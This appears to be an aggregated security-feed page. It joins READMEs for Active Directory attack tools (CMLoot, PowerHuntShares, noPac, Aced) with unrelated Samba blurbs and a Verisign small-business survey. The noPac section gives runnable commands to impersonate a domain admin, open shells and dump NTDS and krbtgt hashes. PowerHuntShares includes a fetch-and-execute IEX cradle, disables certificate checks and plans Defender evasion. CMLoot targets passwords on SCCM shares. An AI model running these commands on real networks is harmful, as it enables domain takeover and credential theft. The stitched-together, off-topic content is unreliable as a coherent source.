CMLoot was created to easily find interesting files stored on System Center Configuration Manager (SCCM/CM) SMB shares. The shares are used for distributing software to Windows clients in Windows enterprise environments and can contains scripts/configuration files with passwords, certificates (pfx), etc. Most SCCM deployments are configured to allow all users to read the files on the shares, sometimes it is limited to computer accounts.

The Content Library of SCCM/CM have a "complex" (annoying) file structure which CMLoot will untangle for you: https://techcommunity.microsoft.com/t5/configuration-manager-archive/understanding-the-configuration-manager-content-library/ba-p/273349

Essentially the DataLib folder contains .INI files, the .INI file are named the original filename + .INI. The .INI file contains a hash of the file, and the file itself is stored in the FileLib in format of <folder name: 4 first chars of the hash>\fullhash.


CM Access Accounts

It is possible to apply Access control to packages in CM. This however only protects the folder for the file descriptor (DataLib), not the actual file itself. CMLoot will during inventory record any package that it can't access (Access denied) to the file _noaccess.txt. Invoke-CMLootHunt can then use this file to enumerate the actual files that the access control is trying to protect.

OPSEC

Windows Defender for Endpoint (EDR) or other security mechanisms might trigger because the script parses a lot of files over SMB.

HOWTO

Find CM servers by searching for them in Active Directory or by fetching this reqistry key on a workstation with System Center installed:

(Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\SMS\DP -Name ManagementPoints).ManagementPoints

There may be multiple CM servers deployed and they can contain different files so be sure to find all of them.

Then you need to create an inventory file which is just a text file containing references to file descriptors (.INI). The following command will parse all .INI files on the SCCM server to create a list of files available.

PS> Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt

Then use the inventory file created above to download files of interest:

Select files using GridView (Milage may vary with large inventory files):

PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -GridSelect

Download a single file, by coping a line in the inventory text:

PS> Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml

Download all files with a certain file extension:

PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1

Files will by default download to CMLootOut in the folder from which you execute the script, can be changed with -OutFolder parameter. Files are saved in the format of (folder: filext)\(first 4 chars of hash>_original filename).

Hunt for files that CMLootInventory found inaccessible:

Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccmfiles_noaccess.txt

Bulk extract MSI files:

Invoke-CMLootExtract -Path .\CMLootOut\msi

DEMO

Run inventory, scanning available files:

Select files using GridSelect:

Download all extensions:

Hunt "inaccessible" files and MSI extract:

Author

Tomas Rzepka / WithSecure



Serious Security: The Samba logon bug caused by outdated crypto

By: Paul Ducklin
Enjoy our Serious Security deep dive into this real-world example of why cryptographic agility is important!

PowerHuntShares - Audit Script Designed In Inventory, Analyze, And Report Excessive Privileges Configured On Active Directory Domains

By: noreply@blogger.com (Unknown)


PowerHuntShares is design to automatically inventory, analyze, and report excessive privilege assigned to SMB shares on Active Directory domain joined computers.
It is intented to help IAM and other blue teams gain a better understand of their SMB Share attack surface and provides data insights to help naturally group related share to help stream line remediation efforts at scale.


It supports functionality to:

  • Authenticate using the current user context, a credential, or clear text user/password.
  • Discover accessible systems associated with an Active Directory domain automatically. It will also filter Active Directory computers based on available open ports.
  • Target a single computer, list of computers, or discovered Active Directory computers (default).
  • Collect SMB share ACL information from target computers using PowerShell.
  • Analyze collected Share ACL data.
  • Report summary reports and excessive privilege details in HTML and CSV file formats.

Excessive SMB share ACLs are a systemic problem and an attack surface that all organizations struggle with. The goal of this project is to provide a proof concept that will work towards building a better share collection and data insight engine that can help inform and priorititize remediation efforts.

Bonus Features:

  • Generate directory listing dump for configurable depth
  • Search for file types across discovered shares

I've also put together a short presentation outlining some of the common misconfigurations and strategies for prioritizing remediation here: https://www.slideshare.net/nullbind/into-the-abyss-evaluating-active-directory-smb-shares-on-scale-secure360-251762721

Vocabulary

PowerHuntShares will inventory SMB share ACLs configured with "excessive privileges" and highlight "high risk" ACLs. Below is how those are defined in this context.

Excessive Privileges
Excessive read and write share permissions have been defined as any network share ACL containing an explicit ACE (Access Control Entry) for the "Everyone", "Authenticated Users", "BUILTIN\Users", "Domain Users", or "Domain Computers" groups. All provide domain users access to the affected shares due to privilege inheritance issues. Note there is a parameter that allow operators to add their own target groups.
Below is some additional background:

  • Everyone is a direct reference that applies to both unauthenticated and authenticated users. Typically only a null session is required to access those resources.
  • BUILTIN\Users contains Authenticated Users
  • Authenticated Users contains Domain Users on domain joined systems. That's why Domain Users can access a share when the share permissions have been assigned to "BUILTIN\Users".
  • Domain Users is a direct reference
  • Domain Users can also create up to 10 computer accounts by default that get placed in the Domain Computers group
  • Domain Users that have local administrative access to a domain joined computer can also impersonate the computer account.

Please Note: Share permissions can be overruled by NTFS permissions. Also, be aware that testing excluded share names containing the following keywords: 

print$, prnproc$, printer, netlogon,and sysvol

High Risk Shares
In the context of this report, high risk shares have been defined as shares that provide unauthorized remote access to a system or application. By default, that includes the shares 

 wwwroot, inetpub, c$, and admin$
However, additional exposures may exist that are not called out beyond that.

Setup Commands

Below is a list of commands that can be used to load PowerHuntShares into your current PowerShell session. Please note that one of these will have to be run each time you run PowerShell is run. It is not persistent.

# Bypass execution policy restrictions
Set-ExecutionPolicy -Scope Process Bypass

# Import module that exists in the current directory
Import-Module .\PowerHuntShares.psm1

or

# Reduce SSL operating level to support connection to github
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
[Net.ServicePointManager]::SecurityProtocol =[Net.SecurityProtocolType]::Tls12

# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")

Example Commands

Important Note: All commands should be run as an unprivileged domain user.

.EXAMPLE 1: Run from a domain computer. Performs Active Directory computer discovery by default.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test 

.EXAMPLE 2: Run from a domain computer with alternative domain credentials. Performs Active Directory computer discovery by default.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test -Credentials domain\user

.EXAMPLE 3: Run from a domain computer as current user. Target hosts in a file. One per line.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test  -HostList c:\temp\hosts.txt      

.EXAMPLE 4: Run from a non-domain computer with credential. Performs Active Directory computer discovery by default.
C:\temp\test> runas /netonly /user:domain\user PowerShell.exe
PS C:\temp\test> Import-Module Invoke-HuntSMBShares.ps1
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -Run   SpaceTimeOut 10 -OutputDirectory c:\folder\ -DomainController 10.1.1.1 -Credential domain\user 

===============================================================
PowerHuntShares
===============================================================
 This function automates the following tasks:     

 o Determine current computer's domain
 o Enumerate domain computers        
 o Filter for computers that respond to ping reqeusts          
 o Filter for computers that have TCP 445 open and accessible  
 o Enumerate SMB shares 
 o Enumerate SMB share permissions   
 o Identify shares with potentially excessive privielges       
 o Identify shares that provide reads & write access           
 o Identify shares thare are high risk
 o Identify common share owners, names, & directory listings   
 o Generate creation, last written, & last accessed timelines
 o Generate html summary report and detailed csv files            

 Note: This can take hours to run in large environments.       
---------------------------------------------------------------
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---------------------------------------------------------------
SHARE DISCOVERY      
---------------------------------------------------------------
[*][03/01/2021 09:35] Scan Start
[*][03/01/2021 09:35] Output Directory: c:\temp\smbshares\SmbShareHunt-03012021093504
[*][03/01/2021 09:35] Successful connection to domain controller: dc1.demo.local
[*][03/01/2021 09:35] Performing LDAP query for computers associated with the demo.local domain
[*][03/01/2021 09:35] - 245 computers found
[*][03/01/2021 09:35] Pinging 245 computers
[*][03/01/2021 09:35] - 55 computers responded to ping requests.
[*][03/01/2021 09:35] Checking if TCP Port 445 is open on 55 computers
[*][03/01/2021 09:36] - 49 computers have TCP port 445 open.
   [*][03/01/2021 09:36] Getting a list of SMB shares from 49 computers
[*][03/01/2021 09:36] - 217 SMB shares were found.
[*][03/01/2021 09:36] Getting share permissions from 217 SMB shares
[*][03/01/2021 09:37] - 374 share permissions were enumerated.
[*][03/01/2021 09:37] Getting directory listings from 33 SMB shares
[*][03/01/2021 09:37] - Targeting up to 3 nested directory levels
[*][03/01/2021 09:37] - 563 files and folders were enumerated.
[*][03/01/2021 09:37] Identifying potentially excessive share permissions
[*][03/01/2021 09:37] - 33 potentially excessive privileges were found across 12 systems..
[*][03/01/2021 09:37] Scan Complete
---------------------------------------------------------------
SHARE ANALYSIS      
---------------------------------------------------------------
[*][03/01/2021 09:37] Analysis Start
[*][03/01/2021 09:37] - 14 shares can be read across 12 systems.
[*][03/01/2021 09:37] - 1 shares can    be written to across 1 systems.
[*][03/01/2021 09:37] - 46 shares are considered non-default across 32 systems.
[*][03/01/2021 09:37] - 0 shares are considered high risk across 0 systems
[*][03/01/2021 09:37] - Identified top 5 owners of excessive shares.
[*][03/01/2021 09:37] - Identified top 5 share groups.
[*][03/01/2021 09:37] - Identified top 5 share names.
[*][03/01/2021 09:37] - Identified shares created in last 90 days.
[*][03/01/2021 09:37] - Identified shares accessed in last 90 days.
[*][03/01/2021 09:37] - Identified shares modified in last 90 days.
[*][03/01/2021 09:37] Analysis Complete
---------------------------------------------------------------
SHARE REPORT SUMMARY      
---------------------------------------------------------------
[*][03/01/2021 09:37] Domain: demo.local
[*][03/01/2021 09:37] Start time: 03/01/2021 09:35:04
[*][03/01/2021 09:37] End time: 03/01/2021 09:37:27
[*][03/01/2021 09:37] R   un time: 00:02:23.2759086
[*][03/01/2021 09:37] 
[*][03/01/2021 09:37] COMPUTER SUMMARY
[*][03/01/2021 09:37] - 245 domain computers found.
[*][03/01/2021 09:37] - 55 (22.45%) domain computers responded to ping.
[*][03/01/2021 09:37] - 49 (20.00%) domain computers had TCP port 445 accessible.
[*][03/01/2021 09:37] - 32 (13.06%) domain computers had shares that were non-default.
[*][03/01/2021 09:37] - 12 (4.90%) domain computers had shares with potentially excessive privileges.
[*][03/01/2021 09:37] - 12 (4.90%) domain computers had shares that allowed READ access.
[*][03/01/2021 09:37] - 1 (0.41%) domain computers had shares that allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) domain computers had shares that are HIGH RISK.
[*][03/01/2021 09:37] 
[*][03/01/2021 09:37] SHARE SUMMARY
[*][03/01/2021 09:37] - 217 shares were found. We expect a minimum of 98 shares
[*][03/01/2021 09:37]   because 49 systems had open ports a   nd there are typically two default shares.
[*][03/01/2021 09:37] - 46 (21.20%) shares across 32 systems were non-default.
[*][03/01/2021 09:37] - 14 (6.45%) shares across 12 systems are configured with 33 potentially excessive ACLs.
[*][03/01/2021 09:37] - 14 (6.45%) shares across 12 systems allowed READ access.
[*][03/01/2021 09:37] - 1 (0.46%) shares across 1 systems allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) shares across 0 systems are considered HIGH RISK.
[*][03/01/2021 09:37] 
[*][03/01/2021 09:37] SHARE ACL SUMMARY
[*][03/01/2021 09:37] - 374 ACLs were found.
[*][03/01/2021 09:37] - 374 (100.00%) ACLs were associated with non-default shares.
[*][03/01/2021 09:37] - 33 (8.82%) ACLs were found to be potentially excessive.
[*][03/01/2021 09:37] - 32 (8.56%) ACLs were found that allowed READ access.
[*][03/01/2021 09:37] - 1 (0.27%) ACLs were found that allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) ACLs we   re found that are associated with HIGH RISK share names.
[*][03/01/2021 09:37] 
[*][03/01/2021 09:37] - The 5 most common share names are:
[*][03/01/2021 09:37] - 9 of 14 (64.29%) discovered shares are associated with the top 5 share names.
[*][03/01/2021 09:37]   - 4 backup
[*][03/01/2021 09:37]   - 2 ssms
[*][03/01/2021 09:37]   - 1 test2
[*][03/01/2021 09:37]   - 1 test1
[*][03/01/2021 09:37]   - 1 users
[*] -----------------------------------------------

HTML Report Examples

Credits

Author
Scott Sutherland (@_nullbind)

Open-Source Code Used
These individuals wrote open source code that was used as part of this project. A big thank you goes out them and their work!

Name Site
Will Schroeder (@harmj0y) https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Warren F (@pscookiemonster) https://github.com/RamblingCookieMonster/Invoke-Parallel
Luben Kirov http://www.gi-architects.co.uk/2016/02/powershell-check-if-ip-or-subnet-matchesfits/

License
BSD 3-Clause

Todos

Pending Fixes/Bugs

  • Update code to avoid defender
  • Fix file listing formating on data insight pages
  • IPv6 addresses dont show up in subnets summary
  • ACLs associated with Builtin\Users sometimes shows up as LocalSystem under undefined conditions, and as a result, doesnt show up in the Excessive Privileges export. - Thanks Sam!

Pending Features

  • Add ability to specify additional groups to target
  • Add directory listing to insights page.
  • Add ability to grab system OS information for data insights.
  • Add visualization: Visual squares with coloring mapped to share volume density by subnet or ip?.
  • Add file type search. (half coded) + add to data insights. Don't forget things like *.aws, *.azure *.gcp directories that store cloud credentials.
  • Add file content search.
  • Add DontExcludePrintShares option
  • Add auto targeting of groups that contain a large % of the user population; over 70% (make configurable). Add as option.
  • Add configuration fid: netlogon and sysvol you may get access denied when using windows 10 unless the setting below is configured. Automat a check for this, and attempt to modify if privs are at correct level. gpedit.msc, go to Computer -> Administrative Templates -> Network -> Network Provider -> Hardened UNC Paths, enable the policy and click "Show" button. Enter your server name (* for all servers) into "Value name" and enter the folowing text "RequireMutualAuthentication=0,RequireIntegrity=0,RequirePrivacy=0" wihtout quotes into the "Value" field.
  • Add an interesting shares based on names to data insights. example: sql, backup, password, etc.
  • Add active sessions data to help identify potential owners/users of share.
  • Pull spns and computer description/spn account descriptions to help identify owner/business unit.
  • Create bloodhound import file / edge (highrisk share)
  • Research to identify additional high risk share names based on common technology
  • Add better support for IPv6
  • Dynamic identification of spikes in high risk share creation/common groupings, need to better summarize supporting detail beyond just the timeline. For each of the data insights, add average number of shares created for insight grouping by year/month (for folder hash / name etc), and the increase the month/year it spikes. (attempt to provide some historical context); maybe even list the most common non default directories being used by each of those. Potentially adding "first seen date" as well.
  • add showing share permissions (along with the already displayed NTFS permissions) and resultant access (most restrictive wins)


noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User

By: noreply@blogger.com (Unknown)


Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

Changed from sam-the-admin.


Usage

SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain

positional arguments:
  [domain/]username[:password]
                        Account used to authenticate to DC.

optional arguments:
  -h, --help            show this help message and exit
  --impersonate IMPERSONATE
                        target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified
  -domain-netbios NETBIOSNAME
                        Domain NetBIOS name. Required if the DC has multiple domains.
  -target-name NEWNAME  Target computer name, if not specified, will be random generated.
  -new-pass PASSWORD    Add new computer password, if not specified, will be random generated.
  -old-pass PASSWORD    Target computer password, use if you know the password of the target you input with -target-name.
  -ol   d-hash LMHASH:NTHASH
                        Target computer hashes, use if you know the hash of the target you input with -target-name.
  -debug                Turn DEBUG output ON
  -ts                   Adds timestamp to every logging output
  -shell                Drop a shell via smbexec
  -no-add               Forcibly change the password of the target computer.
  -create-child         Current account have permission to CreateChild.
  -dump                 Dump Hashs via secretsdump
  -use-ldap             Use LDAP instead of LDAPS

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-host hostname     Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
  -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used

execute options:
  -port [destination port]
                        Destination port to connect to SMB Server
  -mode {SERVER,SHARE}  mode to use (default SHARE, SERVER needs root!)<   br/>  -share SHARE          share where the output will be grabbed from (default ADMIN$)
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive shell
  -codec CODEC          Sets encoding used (codec) from the target's output (default "GBK").
  -service-name service_name
                        The name of theservice used to trigger the payload

dump options:
  -just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)
  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
  -use   r-status          Display whether or not the user is disabled
  -history              Dump password history, and LSA secrets OldVal
  -resumefile RESUMEFILE
                        resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state
  -use-vss              Use the VSS method insead of default DRSUAPI
  -exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using -use-vss). Default: smbexec

Note: If -host-name is not specified, the tool will automatically get the domain control hostname, please select the hostname of the host specified by -dc-ip. If --impersonate is not specified, the tool will randomly choose a doamin admin to exploit. Use ldaps by default, if you get ssl error, try add -use-ldap .

GetST

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

 

Auto get shell

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator

 

Dump hash

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt


Scanner

python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203


MAQ = 0

Method 1

Find the computer that can be modified by the current user.

AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user  -recmute

 

Exp: add -no-add and target with -target-name.

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell


 Warning!! Do not modify the password of the computer in the domain through ldaps or samr, it may break the trust relationship between the computer and the primary domain !!

Method 2

Find CreateChild account, and use the account to exploit.

AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute

Exp: add -create-child

python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child


Aced - Tool to parse and resolve a single targeted Active Directory principal's DACL

By: noreply@blogger.com (Unknown)


Aced is a tool to parse and resolve a single targeted Active Directory principal's DACL. Aced will identify interesting inbound access allowed privileges against the targeted account, resolve the SIDS of the inbound permissions, and present that data to the operator. Additionally, the logging features of pyldapsearch have been integrated with Aced to log the targeted principal's LDAP attributes locally which can then be parsed by pyldapsearch's companion tool BOFHound to ingest the collected data into BloodHound.


Use case?

I wrote Aced simply because I wanted a more targeted approach to query ACLs. Bloodhound is fantastic, however, it is extremely noisy. Bloodhound collects all the things while Aced collects a single thing providing the operator more control over how and what data is collected. There's a phrase the Navy Seals use: "slow is smooth and smooth is fast" and that's the approach I tried to take with Aced. The case for detection is reduced by only querying for what LDAP wants to tell you and by not performing an action known as "expensive ldap queries". Aced has the option to forego SMB connections for hostname resolution. You have the option to prefer LDAPS over LDAP. With the additional integration with BloodHound, the collected data can be stored in a familiar format that can be shared with a team. Privilege escalation attack paths can be built by walking backwards from the targeted goal.

References

Thanks to the below for all the code I stole:
@_dirkjan
@fortaliceLLC
@eloygpz
@coffeegist
@tw1sm

Usage

└─# python3 aced.py -h                             


          _____
         |A .  | _____
         | /.\ ||A ^  | _____
         |(_._)|| / \ ||A _  | _____
         |  |  || \ / || ( ) ||A_ _ |
         |____V||  .  ||(_'_)||( v )|
                |____V||  |  || \ / |
                       |____V||  .  |
                              |____V|
                                     v1.0

        Parse and log a target principal's DACL.
                                    @garrfoster

usage: aced.py [-h] [-ldaps] [-dc-ip DC_IP] [-k] [-no-pass] [-hashes LMHASH:NTHASH] [-aes hex key] [-debug] [-no-smb] target

Tool to enumerate a single target's DACL in Active Directory

optional arguments:
  -h, --help            show this help message and exit

Authentication:
  target                [[domain/username[:password]@]<address>
  -ldaps                Use LDAPS isntead of LDAP

Optional Flags:
  -dc-ip DC_IP          IP address or FQDN of domain controller
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  -no-pass              don't ask for password (useful for -k)
  -hashes LMHASH:NTHASH
                        LM and NT hashes, format is LMHASH:NTHASH
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -debug                Enable verbose logging.
  -no-smb               Do not resolve DC hostname through SMB. Requires a FQDN with -dc-ip.

Demo

In the below demo, we have the credentials for the corp.local\lowpriv account. By starting enumeration at Domain Admins, a potential path for privilege escalation is identified by walking backwards from the high value target.


And here's how that data looks when transformed by bofhound and ingested into BloodHound.




Samba update patches plaintext password plundering problem

By: Paul Ducklin
When Microsoft itself says STOP USING X, where X is one of its own protocols... we think you should listen.

Websites, Branded Email Remain Key to SMB Internet Services

By: Verisign

Study Commissioned by Verisign Shows Websites Can Help Add Credibility and Drive New Business

Businesses today have many options for interacting with customers online. The findings of our independent survey of online consumers suggest that websites and branded email continue to be critical components of many businesses’ online presence, essential to supporting consumer confidence and enabling effective interaction with customers.

The quantitative study, commissioned by Verisign and conducted in December 2019 and January 2020 by 451 Research, now a part of S&P Global Market Intelligence, surveyed 5,450 online consumers across key markets in North America, Latin America, Europe and Asia to help understand their sentiments on interacting with businesses online.

The survey was designed to arm service providers and registrars with an understanding of how the resources they provide to businesses can help create trust and deliver value to their customers.

Websites help add credibility

Among those surveyed, approximately two-thirds (66%) agreed that a business with its own website is more credible than one without. Likewise, a majority indicated that they would expect it to be more difficult to verify the identity of (56%), find online (55%) and contact (54%) a business that does not have its own website.

Certainly, this doesn’t suggest that businesses should abandon other online channels, such as social media and search engine efforts, to focus on a website-only approach. Instead, 64% of respondents said that a business with many points of online presence is more credible than a business with few.

Still, the study suggests that other online resources should complement, rather than replace, a small business’s own website. Respondents identified a business’s own website as being one of the most popular online methods for learning about (69%) and conducting transactions with (57%) businesses. Further, 71% of respondents reported being more likely to recommend a business with a professional website.

Taken together, these findings suggest that a website can help add credibility and drive new business.

Branded email supports customer communications

Trust is central to the relationship between a business and customers. This may be particularly true for online transactions (95% of survey respondents said they actively make purchases online), which require consumers to trust not only that the business will deliver the product or service for which they have paid, but also that it will not misuse payment or personal information.

A branded email address may be able to help, as an overwhelming number of respondents (85%) agreed that a business with a branded email address is more credible than one that uses a free email account. Respondents were more likely to have used a business’s branded email address (67%), than the telephone (56%) or social media (40%), to communicate with a business during the prior 12 months.

Key takeaway

For a small business, failing to be perceived as credible online could mean lost business not just today, but also in the future. A website and branded email address can help businesses add credibility and more effectively engage with consumers online.

Service providers offer a variety of website-building tools, email hosting solutions, and domain name registration services that can help businesses – whether just starting or well-established – to have a website and use a branded email.

Detailed survey results are available in 451 Research’s Black & White Paper Websites, Branded Email Remain Key to SMB Internet Services.

Verisign is a global wholesale provider of some of the world’s most recognized top-level domains, including .com and .net. For website building tools and email hosting solutions, contact a registrar. You can find a registrar here.

The post Websites, Branded Email Remain Key to SMB Internet Services appeared first on Verisign Blog.

❌